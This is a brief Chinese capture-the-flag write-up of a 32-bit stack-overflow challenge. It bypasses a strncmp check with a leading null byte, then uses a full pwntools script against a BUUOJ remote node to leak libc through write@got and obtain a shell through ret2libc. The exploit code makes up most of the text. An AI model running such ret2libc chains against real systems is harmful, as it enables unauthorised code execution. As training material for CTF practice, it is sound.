先看开了什么保护
可以看到没有canary保护
主函数在fd>0时会读取数据
来到这个函数里面
发现
1 2
| if ( strncmp(buf, s, v1) ) exit(0);
|
这里有个判断,如果s和buf的长度不一样会退出程序
在开头加上**/x00**进行绕过
函数会根据buf这个char型数组的buf[7]进行传参
这个函数read的大小更巨buf[7]
所以buf[7]的字符串的值越大越好 取’/xff’
栈溢出这部分完成后就可以用libc构造ROP完成提权
完整exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| from pwn import * from LibcSearcher import * context(log_level='debug') libc=ELF('./libc-2.23.so') #p=process('./pwn') p=remote('node5.buuoj.cn',25572) elf=ELF('./pwn') #rop=ROP(pwnfile) ret=0x08048502 payload='\x00'+'\xff'*7 p.sendline(payload)
write_plt=elf.plt["write"] write_got=elf.got["write"] main_addr=0x08048825 p.recvuntil("Correct\n") payload1=b'a'*0xe7+b'a'*4+p32(write_plt)+p32(main_addr)+p32(1)+p32(write_got)+p32(8) p.sendline(payload1) write_addr=u32(p.recv(4))
print(hex(write_addr)) libc_base=write_addr-libc.sym['write'] bin_sh_addr=libc_base+next(libc.search(b'bin/sh')) system_addr=libc_base+libc.sym['system']
p.sendline(payload) p.recvuntil("Correct\n") payload2=b'a'*0xe7+b'a'*4+p32(system_addr)+p32(0)+p32(bin_sh_addr) p.sendline(payload2) p.interactive()
|